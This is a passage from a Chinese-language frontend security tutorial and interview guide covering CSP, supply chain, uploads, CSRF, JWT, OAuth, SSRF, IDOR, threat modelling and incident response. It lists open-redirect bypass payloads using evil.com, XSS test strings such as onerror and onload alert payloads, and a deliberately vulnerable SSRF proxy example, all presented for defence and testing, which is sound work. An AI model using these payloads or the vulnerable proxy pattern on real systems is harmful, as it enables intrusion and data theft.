if (url.origin !== location.origin) return fallback;
return url.pathname + url.search + url.hash;
} catch {
return fallback;
}
}
常见绕过:
| payload | 原理 |
|---|---|
//evil.com | 协议相对 URL |
/\evil.com | 浏览器把反斜杠当斜杠 |
https:/evil.com | 少一个斜杠,部分解析器补全 |
javascript:alert(1) | 伪协议 |
%2F%2Fevil.com | 编码后二次解析 |
https://app.example.com@evil.com | userinfo 混淆 |
防御原则:不要「校验是否包含 evil」,而是「只允许明确的站内路径」;跳转前用 URL 解析并比对 origin。
2.7 依赖与第三方脚本
2.7.1 供应链的五类风险
| 风险 | 例子 | 防护 |
|---|---|---|
| 拼写抢注(typosquatting) | lodahs 冒充 lodash | 包名复核、私有源、安装前审查 |
| 依赖混淆 | 内部包名被公共源抢注 | 作用域包 + 私有 registry 优先 |
| 维护者账号被盗 | 发布带后门的新版本 | 锁文件 + 延迟升级 + 行为审计 |
postinstall 脚本 | 安装时执行任意代码 | --ignore-scripts、沙箱安装 |
| CDN 脚本被篡改 | 第三方 SDK 被替换 | SRI + 自托管 + CSP |
# 安装时禁用生命周期脚本,避免 postinstall 执行
pnpm install --frozen-lockfile --ignore-scripts
# 审计生产依赖
pnpm audit --prod
2.7.2 SRI:给外部脚本一个指纹
<script
src="https://cdn.example.com/sdk-1.2.3.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous"
></script>
| 注意 | 说明 |
|---|---|
必须配 crossorigin | 否则跨域脚本无法做完整性校验 |
| 版本要固定 | 用带版本号的 URL,不要 latest |
| 更新要同步 | 脚本升级必须更新哈希,否则加载失败 |
| 动态插入的脚本 | 需要手动设置 integrity 属性 |
SRI 防的是「CDN 内容被篡改」,防不住「上游包本身有后门」。后者要靠依赖审计与来源可信。
2.7.3 第三方脚本的接入规范
1. 准入:登记负责人、用途、域名、体积预算、数据范围
2. 加载:async/defer,延后到首屏后;能按需加载就不首屏加载
3. 隔离:能放 iframe 就放 iframe(sandbox);同页执行的限定命名空间
4. 监控:加载失败率、长任务占比、错误归属、外发请求域名
5. 退出:独立开关,能不发版直接下线
为什么要有「退出」:第三方脚本出问题时,最快的处置不是改代码,而是把一个开关关掉。没有开关的接入,等于把故障恢复时间交给发布流程。
2.8 文件上传与内容处理
| 风险 | 场景 | 防护 |
|---|---|---|
| 上传可执行文件 | .html、.svg、.js | 类型白名单 + 服务端重命名 |
| MIME 嗅探 | 图片实际是 HTML | X-Content-Type-Options: nosniff |
| 直接回源展示 | 用户访问上传目录执行脚本 | 独立域名 + Content-Disposition: attachment |
| 图片藏脚本 | SVG 内嵌 <script> | 服务端重新编码为位图,或不内联 SVG |
| 压缩炸弹 | 解压后超大 | 限制解压后大小与层级 |
| 路径穿越 | 文件名含 ../ | 服务端生成文件名,不信任原文件名 |
/**
* 前端只做「体验层」校验,服务端必须重复校验。
* @param {File} file
*/
export function validateUpload(file) {
const ALLOWED = new Set(['image/png', 'image/jpeg', 'image/webp']);
const MAX_SIZE = 5 * 1024 * 1024;
if (!ALLOWED.has(file.type)) throw new Error('不支持的文件类型');
if (file.size > MAX_SIZE) throw new Error('文件过大');
if (file.name.includes('..')) throw new Error('非法文件名');
return true;
}
Content-Type: image/webp
Content-Disposition: attachment; filename="a1b2c3.webp"
X-Content-Type-Options: nosniff
用户上传的 SVG 不要直接内联:SVG 是 XML,可包含 <script>、事件属性与外部引用。用 <img src> 引用(脚本不执行)或服务端清洗后再内联。
CSV 注入:导出的 CSV 若以 =, +, -, @ 开头,Excel 会当公式执行。导出时在前加 ' 或做转义。
2.9 L2 小结与自检
| 主题 | 关键结论 |
|---|---|
| CSP | 白名单 + nonce;先 Report-Only,注意绕过 |
| 安全头 | HSTS/nosniff/frame-ancestors 是基线 |
| Cookie | HttpOnly + Secure + SameSite + 前缀 |
| iframe | sandbox 最小权限,别乱给 same-origin |
| postMessage | 指定 targetOrigin + 校验 origin |
| 跳转 | 只允许站内路径,拒绝 //、\、伪协议 |
| 供应链 | 锁文件 + 审脚本 + SRI + 退出开关 |
| 上传 | 类型白名单 + 独立域名 + 禁止内联 SVG |
自检题
- CSP 里的 nonce 解决了什么问题?为什么不能用固定值?——每次响应生成随机 nonce,只有带该值的脚本可执行;固定值等于白名单泄漏,攻击者可直接复用。
sandbox="allow-scripts allow-same-origin"有什么风险?——同源加脚本权限后,iframe 内代码可访问父页面 DOM 与存储,甚至移除 sandbox,等于绕过隔离。- 用户上传的 SVG 为什么不能直接内联?——SVG 可包含
<script>、事件属性与外部引用,内联进 DOM 会在当前源执行;作为<img>加载或先净化后再用更安全。 - SRI 能防止什么、不能防止什么?——能防止 CDN 上的文件被替换;不能防止上游包本身含后门,也不能替代依赖审计。
- 为什么开放重定向要用「只允许站内路径」而不是「过滤 evil.com」?——攻击者可用协议相对、反斜杠、编码、userinfo 等多种变体绕过黑名单;白名单式判断更难绕过。
3. L3 高级:绕过、纵深与供应链
3.1 XSS 防线的纵深设计
第 1 层:输入校验(长度、格式、类型)——减少恶意数据入库
第 2 层:输出编码(按上下文:HTML/属性/URL/JS)
第 3 层:消毒(富文本白名单)
第 4 层:CSP(限制执行)
第 5 层:HttpOnly(Cookie 不可读)
第 6 层:Trusted Types(API 层禁止字符串注入)
第 7 层:监控(CSP 报告、异常请求)
为什么需要多层:任何单层都可能被绕过。CSP 有 JSONP 与 CDN 绕过;编码漏一处就前功尽弃;消毒库也会有 CVE。纵深的目标是「单层失效时,影响仍可控」。
| 层失效 | 还剩什么 |
|---|---|
| 输出编码漏了 | CSP 拦住内联脚本;HttpOnly 让 Cookie 偷不走 |
| CSP 被绕过 | 编码与消毒仍挡住直接注入 |
| 消毒库被绕过 | CSP 限制执行;后端二次校验 |
| 全部前端失效 | 服务端鉴权与数据校验 |
3.2 Trusted Types:把「记得转义」变成浏览器强制
/**
* 开启 require-trusted-types-for 'script' 后,
* 直接给 innerHTML 赋值字符串会抛 TypeError,必须经过策略。
*/
const policy = trustedTypes.createPolicy('default', {
/**
* @param {string} input 不可信 HTML
* @returns {TrustedHTML}
*/
createHTML: (input) => DOMPurify.sanitize(input),
});
el.innerHTML = policy.createHTML(userInput);
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default
| 优点 | 代价 |
|---|---|
| 从 API 层禁止字符串注入,漏写转义会立刻报错 | 需要改造所有 DOM 写入点 |
| 可配合上报发现存量问题 | 第三方库可能不兼容 |
| 与框架配合可只暴露受控入口 | 旧浏览器需降级(不开启时无效果) |
落地路径:
1. 先开 Report-Only,收集违反点(不阻断)
2. 按模块改造,优先处理用户输入相关
3. 为第三方库创建专用策略(明确允许的 sanitizer)
4. 最后强制,保留上报
3.3 CSRF 的深层防御
| 场景 | 风险 | 方案 |
|---|---|---|
| 跨站表单提交 | 自动带 Cookie | SameSite + Token |
跨站 fetch 简单请求 | 不触发预检 | Token + Origin 校验 |
| 子域被攻破 | 可写父域 Cookie | 会话 Cookie 不设 Domain,用 __Host- |
| 登录 CSRF | 诱导用户登录攻击者账号 | 登录也校验 Token |
| JSON 接口 | 旧浏览器可发 text/plain | 校验 Content-Type 与 Accept |
| WebSocket | 握手带 Cookie,无同源限制 | 校验 Origin + Token |
本质:CSRF 是「服务端无法区分请求是否由用户本人、在本站发起」。任何能证明「本人 + 本页」的机制都有效,关键是不能只靠一种。
3.4 JWT 的攻击面
| 问题 | 说明 | 防护 |
|---|---|---|
alg: none | 旧库接受无签名令牌 | 服务端固定算法,拒绝 none |
| 弱密钥 | HS256 密钥可爆破 | 足够长度 + 定期轮换 |
| 算法混淆 | 把 RS256 公钥当 HS256 密钥 | 固定算法,不信任头里的 alg |
kid 注入 | 路径穿越或注入 | 白名单 kid,不拼路径 |
| 无法吊销 | 签发后长期有效 | 短过期 + 刷新 + 黑名单 |
存 localStorage | XSS 可读 | 改 HttpOnly Cookie |
| 载荷放敏感信息 | JWT 只是 base64,不是加密 | 不放隐私数据 |
无 aud/iss 校验 | 令牌可跨服务复用 | 校验 aud、iss、exp、nbf |
/**
* 服务端校验示例(伪代码):固定算法 + 完整声明校验。
* 不要把 decode 当成 verify。
*/
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'],
audience: 'https://api.example.com',
issuer: 'https://auth.example.com',
clockTolerance: 5,
});
一个常见误解:JWT 不等于「更安全」。它解决的是「无状态校验」,代价是「难吊销、易误用」。会话型应用用 HttpOnly Cookie + 服务端 session 往往更简单、更安全。
3.5 OAuth 2.0 / OIDC:授权码 + PKCE
1. 前端生成 code_verifier,计算 code_challenge = SHA256(verifier)
2. 跳转授权服务器:response_type=code & code_challenge=... & state=...
3. 用户登录并同意,回跳 redirect_uri?code=...&state=...
4. 前端校验 state,拿 code + verifier 换 token
5. 用 access_token 调资源接口;用 id_token 获取身份(校验签名/iss/aud/nonce)
| 参数 | 作用 | 漏掉的后果 |
|---|---|---|
state | 防 CSRF 与请求伪造 | 授权码被注入 |
code_verifier/challenge | 防授权码拦截(PKCE) | 公共客户端授权码可被换 token |
redirect_uri 精确匹配 | 防开放重定向 | 授权码被送到攻击域 |
nonce(OIDC) | 防 id_token 重放 | 身份伪造 |
scope 最小化 | 权限最小 | 过度授权 |
公共客户端(SPA/移动端)不能保存 client_secret,必须用 PKCE;把 secret 打进前端包等于公开。
3.6 SSRF 与 BFF 代理
// ❌ 服务端直接请求用户提供的 URL
app.get('/proxy', async (req, res) => {
const data = await fetch(req.query.url); // 可请求 169.254.169.254 元数据
res.send(data);
});
防护清单:
- 协议白名单(只允许
https:); - 域名白名单,解析后校验 IP;
- 禁止内网、回环、链路本地、元数据地址(
169.254.169.254、::1、10/8、172.16/12、192.168/16); - 禁止跟随重定向到内网(或每次跳转都重新校验);
- 超时、响应大小限制、
Content-Type白名单; - 出网走统一代理并记录日志;
- 防 DNS rebinding:解析与连接使用同一 IP,或连接后校验对端地址。
3.7 越权(IDOR):前端最常被忽略的问题
用户 A 登录后,接口返回自己的订单
A 把 URL 里的 orderId 改成 B 的
接口直接按 id 查询,没有校验归属 → 看到 B 的订单
| 类型 | 例子 | 防护 |
|---|---|---|
| 水平越权 | 改 id 看他人数据 | 服务端校验资源归属 |
| 垂直越权 | 普通用户调管理员接口 | 服务端校验角色与权限点 |
| 批量越权 | 遍历 id 拉全量 | 限流 + 归属校验 + 审计 |
| 隐藏接口 | 前端隐藏按钮但接口存在 | 接口级鉴权,不依赖前端 |
原则:每一次资源访问都要校验「当前用户是否有权访问这个对象」,而不是「是否登录」。前端隐藏按钮只是体验,不是权限。
3.8 供应链安全的工程化
| 层次 | 手段 |
|---|---|
| 引入前 | 私有 registry、包名复核、下载量/维护者审查、许可证检查 |
| 安装时 | --ignore-scripts、lockfile、固定版本、来源白名单 |
| 构建时 | 可复现构建、SBOM、产物签名(provenance) |
| 运行时 | SRI、CSP、最小权限、iframe 隔离 |
| 响应 | 漏洞通告订阅、影响面查询、快速回滚 |
# 生成 SBOM(CycloneDX),回答「我们有没有用到这个漏洞包」
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
SBOM 的价值:出事时不用翻遍所有仓库,直接查清单定位版本与引用路径;这也是合规审计的常见要求。
3.9 安全监控
/**
* CSP 违规上报:既能发现攻击尝试,也能发现自己的配置写错。
*/
document.addEventListener('securitypolicyviolation', (e) => {
navigator.sendBeacon(
'/csp-report',
JSON.stringify({
blockedURI: e.blockedURI,
violatedDirective: e.violatedDirective,
documentURI: e.documentURI,
disposition: e.disposition,
})
);
});
监控什么:
| 信号 | 说明 |
|---|---|
| CSP 违规 | 可能有人在尝试注入,或配置过严 |
| 异常登录 | 短时间多地登录、失败率突增 |
| 批量请求 | 遍历 id、爬取数据 |
| 可疑 UA/Referer | 扫描器特征 |
| 依赖漏洞通告 | 新 CVE 影响面 |
| 敏感接口调用量 | 突增可能是被刷 |
3.10 L3 小结与自检
| 主题 | 关键结论 |
|---|---|
| 纵深 | 校验→编码→消毒→CSP→HttpOnly→Trusted Types→监控 |
| Trusted Types | 用浏览器强制替代人的自觉 |
| CSRF | 本质是「证明本人 + 本页」,多手段叠加 |
| JWT | 固定算法、校验声明、短过期、别放隐私 |
| OAuth | 公共客户端必须 PKCE + state + 精确 redirect_uri |
| SSRF | 白名单 + IP 校验 + 禁止重定向到内网 |
| 越权 | 每次资源访问都校验归属,前端隐藏不算权限 |
| 供应链 | SBOM + 可复现 + 最小权限 + 退出能力 |
自检题
- 为什么 CSP 不能单独作为 XSS 的唯一防线?——配置不当可被 JSONP、允许的 CDN 或内联脚本绕过,也挡不住 DOM 型注入后的合法请求;需要输出编码、Trusted Types 与服务端校验叠加。
- JWT 的
alg字段为什么不能信任?——攻击者可改成none或替换算法伪造签名;服务端必须固定允许的算法,并校验kid、iss、aud与过期时间。 - 服务端代理用户 URL 时要注意什么?——校验协议与域名白名单、禁止内网地址(防 SSRF)、限制重定向、设置超时与响应大小,且不要回显内网错误细节。
- 为什么「前端隐藏按钮」不是权限控制?——接口可以被直接调用;必须在服务端做接口级鉴权与资源归属校验。
- OAuth 的
state与 PKCE 分别防什么?——state防授权请求伪造与 CSRF,PKCE 防授权码被拦截后换 token;公共客户端二者都必须有。
4. L4 专家:治理、合规与应急
4.1 威胁建模(STRIDE)
4.1.1 六类威胁与前端落点
| 威胁 | 含义 | 前端例子 | 对应控制 |
|---|---|---|---|
| Spoofing | 冒充身份 | 伪造 token、钓鱼登录页 | 强认证、来源校验、防钓鱼提示 |
| Tampering | 篡改数据 | 改请求参数、绕过前端校验 | 服务端校验、签名、幂等 |
| Repudiation | 否认操作 | 缺审计日志 | 关键操作留痕、不可抵赖 |
| Information disclosure | 信息泄露 | sourcemap、错误堆栈、冗余字段 | 产物裁剪、脱敏、最小返回 |
| Denial of service | 拒绝服务 | 昂贵查询、无限重试 | 限流、超时、熔断 |
| Elevation of privilege | 提权 | 前端隐藏按钮但接口未校验 | 接口级鉴权、资源归属校验 |
4.1.2 四个必答问题
每个需求评审时问:
1. 数据从哪来?(用户输入、第三方、内部系统)
2. 谁能改?(前端可改的部分都不能当可信)
3. 改错会怎样?(资金、隐私、可用性、合规)
4. 出事后怎么查?(日志、审计、可回滚)
4.1.3 一个简化的建模表
| 资产 | 入口 | 威胁 | 影响 | 控制 | 残留风险 |
|---|---|---|---|---|---|
| 会话 | Cookie | 窃取(XSS) | 账号被盗 | HttpOnly + CSP | 恶意扩展 |
| 资金 | 转账接口 | CSRF | 财产损失 | Token + SameSite | 用户被骗 |
| 订单数据 | GET /orders/:id | 越权 | 隐私泄露 | 归属校验 | 内部人员 |
| 上传 | 文件接口 | 脚本执行 | 全站沦陷 | 类型白名单 + 独立域 | 0day |
| 前端产物 | 构建 | 源码泄漏 | 攻击面暴露 | 关闭 sourcemap | 逆向 |
残留风险要写出来:安全不是「消灭风险」,而是「知道还剩什么风险,并决定是否接受」。
4.2 安全左移(SDL)
4.2.1 六个阶段
| 阶段 | 动作 | 产出 |
|---|---|---|
| 设计 | 威胁建模、权限矩阵 | 安全设计说明 |
| 编码 | 安全规范、危险 API 禁用 | ESLint 规则、代码模板 |
| 提交 | secret 扫描、依赖审计 | pre-commit / CI |
| 构建 | SBOM、SRI、CSP 注入 | 产物清单 |
| 发布 | 安全头检查、灰度 | 检查报告 |
| 运行 | 监控、告警、漏洞响应 | 事件与复盘 |
4.2.2 用工具拦截,而不是靠记忆
{
"rules": {
"react/no-danger": "error",
"no-eval": "error",
"no-implied-eval": "error",
"no-script-url": "error",
"no-restricted-syntax": ["error", {
"selector": "AssignmentExpression[left.property.name='innerHTML']",
"message": "请使用 textContent 或经过 DOMPurify 消毒"
}]
}
}
# CI:密钥扫描与依赖审计
- name: Secret scan
run: npx gitleaks detect --no-git -v
- name: Dependency audit
run: pnpm audit --prod --audit-level=high
为什么要在 CI 拦:本地 husky 可以被 --no-verify 跳过;CI 是最后一道门。
4.2.3 安全需求的写法
❌ 「注意 XSS」
✅ 「评论内容渲染必须经过 DOMPurify 白名单消毒(标签白名单见附录 A),
链接只允许 http/https/mailto,外链加 rel="noopener";
验收用例:5 条 payload 均不执行(见测试用例 SEC-101~105)」
不可验收的安全要求等于没有要求。
4.3 隐私与合规
| 法规 | 核心要求 | 前端落点 |
|---|---|---|
| GDPR | 知情同意、可删除、数据最小化 | Cookie 同意、埋点开关、删除入口 |
| 个人信息保护法 | 告知同意、最小必要、单独同意 | 权限申请说明、SDK 清单、敏感信息单独授权 |
| CCPA | 出售数据需 opt-out | 偏好中心 |
| 等保 | 身份鉴别、访问控制、审计 | 登录策略、权限模型、日志留存 |
4.3.1 四个工程要点
1. 埋点上报前检查同意状态(默认不采集)
2. 敏感字段(手机号、身份证、地址)在日志与错误上报中脱敏
3. 提供数据导出与删除能力(含第三方 SDK 的数据)
4. 维护 SDK 清单:名称、用途、收集字段、存储位置、保留时长
/**
* 同意门控:未同意时不上报任何个性化数据。
* @param {{analytics: boolean, ads: boolean}} consent
*/
export function createReporter(consent) {
return {
/**
* @param {string} event 事件名
* @param {Record<string, unknown>} payload 仅允许非敏感字段
*/
track(event, payload) {
if (!consent.analytics) return;
navigator.sendBeacon('/collect', JSON.stringify({ event, payload }));
},
};
}
4.3.2 Cookie 同意的常见错误
| 错误 | 问题 |
|---|---|
| 默认勾选 | 不构成「知情同意」 |
| 拒绝比同意更难 | 违反平等原则 |
| 拒绝后仍加载统计脚本 | 实质未尊重选择 |
| 只覆盖自家 Cookie,不管第三方 | 遗漏主要风险 |
4.4 应急响应
4.4.1 六步流程
1. 发现:监控告警 / 外部报告 / 用户反馈 / 漏洞平台
2. 止血:下线功能、加 WAF 规则、撤销 token、回滚版本、关开关
3. 定位:日志、CSP 报告、依赖变更记录、访问审计
4. 修复:补丁 + 验证 + 灰度
5. 复盘:时间线、根因、改进项与负责人
6. 加固:规则、门禁、培训、演练
止血优先于定位:安全事件里,「先控制影响面」永远排在「先搞清楚为什么」前面。止血手段要提前准备好(开关、WAF 规则模板、token 吊销接口)。
4.4.2 XSS 事件处置清单
- [ ] 确认影响范围:哪些页面、哪些用户、是否存储型
- [ ] 立即止血:下线入口 / 加过滤 / 开 WAF 规则
- [ ] 吊销会话:强制所有用户重新登录(若 Cookie 可能被窃)
- [ ] 清理脏数据:批量清洗库里的恶意内容
- [ ] 修复根因:编码/消毒/CSP,补测试用例
- [ ] 通知:安全、合规、客服话术
- [ ] 复盘:入口、为何未拦住、如何防止再发
4.4.3 分级与时限(示例)
| 级别 | 例子 | 止血时限 | 修复时限 |
|---|---|---|---|
| P0 | 可批量窃取会话、资金损失 | 1 小时内 | 24 小时 |
| P1 | 单点越权、存储型 XSS 未利用 | 4 小时 | 72 小时 |
| P2 | 信息泄露(低敏)、配置缺陷 | 1 天 | 1 周 |
| P3 | 最佳实践缺失 | 1 周 | 下个迭代 |
分级要写进制度,否则每次都要争论「这算不算严重」。
4.5 度量与组织
| 指标 | 含义 | 目标 |
|---|---|---|
| 高危依赖数 | 未修复的高危漏洞 | 0 |
| CSP 覆盖率 | 开启强制 CSP 的页面比例 | > 90% |
| Secret 泄漏数 | 提交到仓库的密钥 | 0 |
| 平均修复时长 | 从发现到修复 | P0 < 24h,P1 < 72h |
| 安全门禁通过率 | CI 安全检查通过比例 | > 95% |
| 越权测试覆盖 | 关键接口的归属校验用例 | 100% |
组织三件事:
- 有 owner:安全不是「安全团队的事」,每个业务线要有安全接口人;
- 有标准:漏洞分级、修复时限、豁免流程;
- 有演练:每季度一次桌面演练或红蓝对抗,验证止血手段真的可用。
4.6 L4 自检
- 一个新业务上线前,你会做哪几项安全检查?——威胁建模(STRIDE)、依赖与 SCA 扫描、CSP 与安全响应头、鉴权与越权测试、敏感数据与日志脱敏、应急联系人与回滚开关。
- 发现第三方 SDK 窃取数据,怎么在 1 小时内止血?——先用开关或 CSP 封禁其域名、下架相关版本,轮换密钥与 token,排查外发数据范围,同步合规与用户通知。
- 如何在不影响业务的前提下把 CSP 从 Report-Only 推到强制?——先收集 2–4 周报告并按指令聚合,修掉内联与第三方问题,小流量灰度强制,再逐步全量,保留一键回退。
- 业务坚持要「先上线再补安全」,你怎么处理?——区分「可延后的加固」与「不可延后的底线」(鉴权、越权、注入、密钥),底线必须在上线前完成;其余列入排期并有截止时间与 owner。
- 如何证明安全投入的价值?——用「避免的损失」与「合规成本」量化:历史事件的平均损失 × 发生概率下降、审计不通过的代价、修复成本随时间上升的曲线。
5. 综合实战:评论功能的安全设计
需求:用户可发评论,支持表情、@、链接,展示在列表与详情页,支持图片上传。
5.1 威胁建模
| 资产 | 威胁 | 影响 | 控制 |
|---|---|---|---|
| 用户会话 | XSS 窃取 Cookie | 账号被盗 | HttpOnly + CSP + 消毒 |
| 评论内容 | 存储型 XSS | 全站用户受影响 | 双端白名单消毒 |
| 图片上传 | 恶意 SVG/HTML | 脚本执行 | 类型白名单 + 重编码 + 独立域 |
| 删除接口 | CSRF | 数据被删 | Token + SameSite |
| 评论列表 | 越权查看私密评论 | 隐私泄露 | 归属与可见性校验 |
| 导出功能 | CSV 注入 | 打开即执行 | 前缀转义 |
5.2 分层设计
输入:长度限制 + 字符白名单 + 富文本白名单
存储:服务端二次消毒 + 原始内容与展示内容分离
输出:纯文本用 textContent;富文本用 DOMPurify
传输:HTTPS + HttpOnly Cookie + SameSite=Lax + CSRF Token
执行:CSP(nonce + 无 unsafe-inline)+ Trusted Types
上传:类型白名单 + 服务端重编码 + 独立域名 + attachment
监控:CSP 报告 + 异常频率告警
5.3 关键代码
/**
* 评论渲染:先消毒,再加固链接,最后写入。
* 注意:即使后端已消毒,前端仍要处理,防止其他客户端绕过。
* @param {string} html 服务端返回的富文本
* @param {HTMLElement} container 容器
*/
export function renderComment(html, container) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'span'],
ALLOWED_ATTR: ['href', 'class', 'data-mention'],
ALLOWED_URI_REGEXP: /^(?:https?|mailto):/i,
});
const doc = new DOMParser().parseFromString(clean, 'text/html');
doc.querySelectorAll('a[href]').forEach((a) => {
a.rel = 'noopener noreferrer nofollow';
a.target = '_blank';
});
container.replaceChildren(...doc.body.childNodes);
}
/**
* 删除评论:带 CSRF Token 的写请求,且服务端校验归属。
* @param {string} id 评论 ID
*/
export async function deleteComment(id) {
const token = readCookie('__Host-csrf_token');
const res = await fetch(`/api/comments/${encodeURIComponent(id)}`, {
method: 'DELETE',
credentials: 'include',
headers: { 'X-CSRF-Token': token },
});
if (!res.ok) throw new Error('删除失败');
}
5.4 测试用例
| 用例 | 输入 | 期望 |
|---|---|---|
| SEC-101 | <img src=x onerror=alert(1)> | 不执行,按文本展示 |
| SEC-102 | <a href="javascript:alert(1)">x</a> | href 被移除 |
| SEC-103 | <svg onload=alert(1)> | 标签被清除 |
| SEC-104 | <a href="https://a.com" target="_blank"> | 补 rel="noopener" |
| SEC-105 | 上传 .svg 含脚本 | 拒绝或服务端重编码 |
| SEC-106 | 跨站表单删除 | 401/403 |
| SEC-107 | 删除他人评论 | 403 |
| SEC-108 | 评论含 =cmd 导出 CSV | 前缀转义,不执行 |
5.5 验收清单
- 输入
<img onerror>、<svg onload>不执行 -
javascript:、data:text/html链接被过滤 - 删除接口需要 CSRF Token,跨站请求失败
- CSP 强制模式无违规,
unsafe-inline已移除 - 上传 SVG 不内联,下载带
attachment - 错误上报中手机号、邮箱已脱敏
- 越权访问他人私密评论返回 403
- 安全用例进入回归测试,不依赖人工
6. 常见误区对照表
| 误区 | 事实 |
|---|---|
| 「前端校验过了就安全」 | 请求可被直接构造,服务端必须再校验 |
| 「用了框架就不会 XSS」 | dangerouslySetInnerHTML/v-html/URL 属性仍是入口 |
| 「Base64 就是加密」 | 只是编码,可逆 |
| 「HTTPS 能防 XSS」 | 它防传输窃听,不防页面内注入 |
| 「CSP 开了就万事大吉」 | 存在绕过,必须配合编码、消毒与 Trusted Types |
| 「SameSite 能完全防 CSRF」 | 顶层 GET 导航、同站子域、旧浏览器仍有边界 |
| 「JWT 比 Session 安全」 | 难吊销,存错位置更危险 |
| 「依赖锁了版本就安全」 | 锁的是版本,不是漏洞;首次安装仍可能中招 |
| 「sourcemap 只影响体积」 | 公开的 sourcemap 会暴露源码与接口 |
| 「安全是安全团队的事」 | 前端是最前线的攻击面 |
| 「隐藏按钮就是权限控制」 | 接口可被直接调用,必须服务端鉴权 |
| 「前端加密能替代 HTTPS」 | 密钥在前端可见,真正的防线是传输层 + 服务端哈希 |
| 「转义了尖括号就安全」 | 属性、URL、JS、CSS 上下文规则不同 |
| 「第三方脚本只是性能问题」 | 它能读取页面数据并外发,是安全风险 |
| 「漏洞修完就结束了」 | 没有测试用例与门禁,同类问题会再次出现 |
| 「安全会拖慢业务」 | 大多是一次性成本;事故的成本远高于预防 |
7. 面试高频题(附答题思路)
Q1:XSS 的三种类型与防御? 存储/反射/DOM → 各自入口与危害 → 按上下文编码 → 白名单消毒 → CSP/Trusted Types → HttpOnly,按纵深答。
Q2:CSRF 原理与防御? 自动携带 Cookie + 服务端无法辨源 → SameSite → Token → Origin 校验 → 写操作不用 GET。
Q3:CSP 怎么配?nonce 与 hash 的区别?
指令体系 → 禁用 unsafe-inline → nonce 每次请求随机 / hash 针对固定内联脚本 → strict-dynamic 的取舍 → Report-Only 先行。
Q4:为什么 token 不建议放 localStorage?
XSS 可读 → 改 HttpOnly Cookie → 代价是需要 CSRF 防护;本质是把「读取风险」换成「伪造请求风险」。
Q5:如何防供应链攻击?
私有源 + 包名复核 + lockfile + --ignore-scripts + SRI + SBOM + 可复现构建 + 退出开关。
Q6:CSP 有哪些已知绕过?
JSONP 端点、可控上传的 CDN、Angular 类 gadget、base-uri 未限制、DOM clobbering;结论:纵深防御。
Q7:点击劫持怎么防?
X-Frame-Options: DENY 与 frame-ancestors 'none';嵌入第三方用 sandbox 最小权限;关键操作二次确认。
Q8:发现线上 XSS 怎么应急? 止血(下线/过滤/WAF/撤销会话)→ 定位入口 → 修复 → 清理脏数据 → 复盘 → 加固门禁。
Q9:SRI 的原理与局限?
对脚本内容做哈希,浏览器校验;防 CDN 篡改,不防上游后门;需 crossorigin 与固定版本。
Q10:如何做越权测试? 列出资源接口与角色矩阵,用不同账号交叉访问他人资源,验证返回 403 而非数据;把用例纳入回归。
8. 面试深挖
8.1 面试官在考察什么
| 维度 | 看什么 | 加分回答 | 减分回答 |
|---|---|---|---|
| 攻击模型 | 是否分得清「谁在什么上下文执行」 | 按输出上下文选择编码方式 | 「转义一下就行」 |
| 防线纵深 | 是否只依赖一层 | 编码 + CSP + Trusted Types + 监控 | 只上 CSP 或只上过滤 |
| 鉴权边界 | Cookie 与 Token 的攻击面 | 说明 XSS 与 CSRF 是不同问题 | 「用了 JWT 就安全」 |
| 供应链 | 是否把依赖当代码执行 | 说清 lockfile、SRI、最小权限 | 「锁版本就够了」 |
| 越权意识 | 是否理解「登录 ≠ 有权」 | 每次资源访问校验归属 | 「前端隐藏了」 |
| 应急 | 出事后的处置顺序 | 止血 → 定位 → 修复 → 复盘 | 先改代码再说 |
| 工程化 | 能否让规范自动执行 | lint、CI、SBOM、演练 | 只靠文档与培训 |
8.2 追问链
链 1 · XSS 三类 → 上下文编码 → CSP 纵深
- 面试官:XSS 有哪几类?
- 要点:存储型(脏数据落库,所有访问者中招)、反射型(URL 参数回显)、DOM 型(前端把不可信数据写入
innerHTML/eval/location)。分类依据是「注入点在哪」,不是「有没有落库」。
- 要点:存储型(脏数据落库,所有访问者中招)、反射型(URL 参数回显)、DOM 型(前端把不可信数据写入
- 追问:为什么「统一转义」不够?
- 要点:不同上下文规则不同。HTML 文本转
& < > " ';属性内要引号包裹并转义;URL 要encodeURIComponent且校验协议;JS 字符串要序列化而非拼接;CSS 上下文几乎无法安全转义,应禁止用户输入进入。
- 要点:不同上下文规则不同。HTML 文本转
- 再追问:CSP 能兜住所有 XSS 吗?
- 要点:不能。
unsafe-inline会失效大半;白名单 CDN 上的 JSONP 或可上传脚本可被利用;base-uri、form-action缺失也留口子。严格 CSP 需要 nonce/hash +strict-dynamic,并配合 Trusted Types 在 API 层禁止字符串注入。
- 要点:不能。
链 2 · CSRF → SameSite → 纵深防御
- 面试官:CSRF 的本质是什么?
- 要点:浏览器会自动携带目标站点的 Cookie,攻击者不需要读到响应,只要让请求发生(表单、图片、
fetch简单请求)。所以「读不到响应」不等于安全。
- 要点:浏览器会自动携带目标站点的 Cookie,攻击者不需要读到响应,只要让请求发生(表单、图片、
- 追问:
SameSite=Lax能防住多少?- 要点:能挡住大多数跨站 POST 与子资源请求,但顶层 GET 导航仍会携带;
SameSite=None场景(iframe、跨站嵌入)完全失效;同站子域之间的请求不受限。
- 要点:能挡住大多数跨站 POST 与子资源请求,但顶层 GET 导航仍会携带;
- 再追问:那还需要什么?
- 要点:同步令牌、双提交 Cookie(用
__Host-防覆盖)、校验Origin/Referer、关键操作二次确认;接口设计上避免 GET 写操作。多层叠加,任一层失效仍有兜底。
- 要点:同步令牌、双提交 Cookie(用
链 3 · Token 存储 → XSS/CSRF 权衡 → OAuth
- 面试官:token 应该存哪里?
- 要点:
localStorage会被 XSS 读取但不自动携带(无 CSRF);HttpOnlyCookie 读不到但会自动携带(有 CSRF);内存变量刷新丢失。主流选择是HttpOnly+SameSite+ CSRF Token,把风险转移到可防护的一侧。
- 要点:
- 追问:SPA 用授权码流程,
client_secret放哪?- 要点:不能放前端。公共客户端必须用 PKCE,且
redirect_uri精确匹配、state防 CSRF;token 由后端换取或放在安全存储。
- 要点:不能放前端。公共客户端必须用 PKCE,且
- 再追问:为什么要校验
id_token的签名与nonce?- 要点:签名防伪造,
iss/aud防跨服务复用,nonce防重放;只decode不verify等于没有校验。
- 要点:签名防伪造,
